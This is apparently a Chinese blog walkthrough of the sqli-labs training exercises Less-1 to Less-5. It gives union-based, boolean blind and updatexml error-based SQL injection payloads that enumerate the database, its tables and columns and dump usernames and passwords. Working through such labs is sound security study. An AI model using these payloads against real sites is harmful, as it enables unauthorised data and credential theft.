sql-labs less-1-5wp

目录标题

less-1

判断列数

使用注释符可以将报错信息注释掉

2,3列回显,第一列不回显所以我们不使用它,但是要存在,因为需要和union保持前后列数一致

查找数据库和版本信息

数据库:security

php 复制代码
?id=-1' union select 1,version(),database() --+

查找数据库中的表

表:emails,referers,uagents,users

php 复制代码
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+

爆破users表的列

列:id,username,password

php 复制代码
?id=-1'  union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+

爆破xx表xx列的数据

php 复制代码
-1' union select 1,group_concat(username),group_concat(pasword) from users#

Less-2

判断类型

因为**?id=2-1的值和1**相同,是数字型

php 复制代码
$sql="select * from tables where id=1 ";

判断注释符和回显点

2,3列回显

爆破

数据库和版本信息

爆破security数据库的表

php 复制代码
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"

爆破users表的列名

php 复制代码
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"

爆破表中数据

php 复制代码
?id=-1 union select 1,group_concat(username),group_concat(password) from users

Less-3

判断类型

输入2-1还是2的结果,字符型注入

判断注释符和回显点

可以看到报错信息

需要使用引号和)报错,注释符%23

利用方式闭合,一共有3列,回显点2,3列

爆破

爆破版本号和数据库

php 复制代码
?id=-1') union select 1,version(),database() %23

爆数据库下的表

拿到几个数据表

php 复制代码
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" %23

爆表下的列

拿到3个数据列

php 复制代码
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" %23

爆xx列的数据

拿到数据

php 复制代码
?id=-1') union select 1,group_concat(username),group_concat(password) from users %23

Less-4

观察报错信息

php 复制代码
 '"1"")  #闭合方式为后面两个字符,即我们传入的双引号之后  ")

与less-3相比,闭合方式发生了变化

Less-5(盲注)

判断类型和注释符

无论输入什么,都是回显这个,除非是报错信息

看看注入类型,字符型

报错回显如下,双引号不报错,单引号报错

php 复制代码
$sql="select * from xxx where $id="" ";

因为网页只回显次信息和报错信息,故初步判断,后端会接收前端的结果然后判断是true还是flase,然后处理回显,故是bool注入

可以利用**--+**注释

判断列数和回显点

利用order by 判断为4报错

可以看到有3列

使用union判断回显点,但是只返回次字符串

盲注攻击

攻击流程如下

php 复制代码
#判断数据库名长度
?id=1' and length(database())>=1 --+
?id=1' and length(database())>=10 --+
?id=1' and length(database())>=5 --+
?id=1' and length(database())>=7 --+
?id=1' and length(database())>=9 --+   #报错,说明长度为8

#数据库名称爆破    security
?id=1' and substr(database(),1,1)='d' --+  #匹配子字符串,从第一位开始提取1位
?id=1' and substr(database(),2,1)='sa' --+  #从第2位开始提取1位
....剩下的burp爆破即可

#爆破数据表名
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+  #limit限制字符长度,后续一个个爆破即可
?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a'--+     #查看users表下的列名
?id=1' and substr((select username from security.users limit 0,1),1,1)='c'--+   #查询列下的数据

成功回显,说明输入是正确的

无回显,说明数据库长度为8,即小于9

为8

判断数据库名称

无回显,说明第一个字符不位d

抓包添加变量,准备爆破

成功爆破出第一个字符s

剩下的字符一个个爆破即可

报错注入

php 复制代码
# ?id=1' and 跟语句
updatexml(1,concat(0x7e,(database()),0x7e),1),查看当前库,0x7e是'~'十六进制转化的结果,用来分割我们的结果
updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1),查看se库下面的第一张表
updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1),查看users表下面的第一个字段
updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1),查看users字段下面的password字段

如下,查到数据库

查询表名,可以看到每次只能返回一个结果,需要调节查询字段,(第0位开始,查询两字符)

查询其他表名

查询users表下的字段

查询字段下的数据

相关推荐
D-river1 小时前
【Academy】SSRF ------ Server-side request forgery
安全·web安全·网络安全
独孤求败Ace2 小时前
第54天:Web攻防-SQL注入&数据类型&参数格式&JSON&XML&编码加密&符号闭合&复盘报告
xml·java·sql
abka2 小时前
系统架构的评估的系统的质量属性
数据库·系统架构
笨手笨脚の2 小时前
Redis 源码分析-内部数据结构 ziplist
数据结构·数据库·redis·链表·ziplist
逆鱼_044 小时前
HTML网上商城项目(sqlite3)
数据库·sqlite·html
信徒_4 小时前
kafka 中的 rebalance
数据库·分布式·kafka
wd 675 小时前
sql注入拿shell
android·数据库·sql
lucky登5 小时前
Redis项目_黑马点评
数据库·redis·缓存
数巨小码人5 小时前
PostgreSQL存储管理体系结构学习笔记2
数据库·postgresql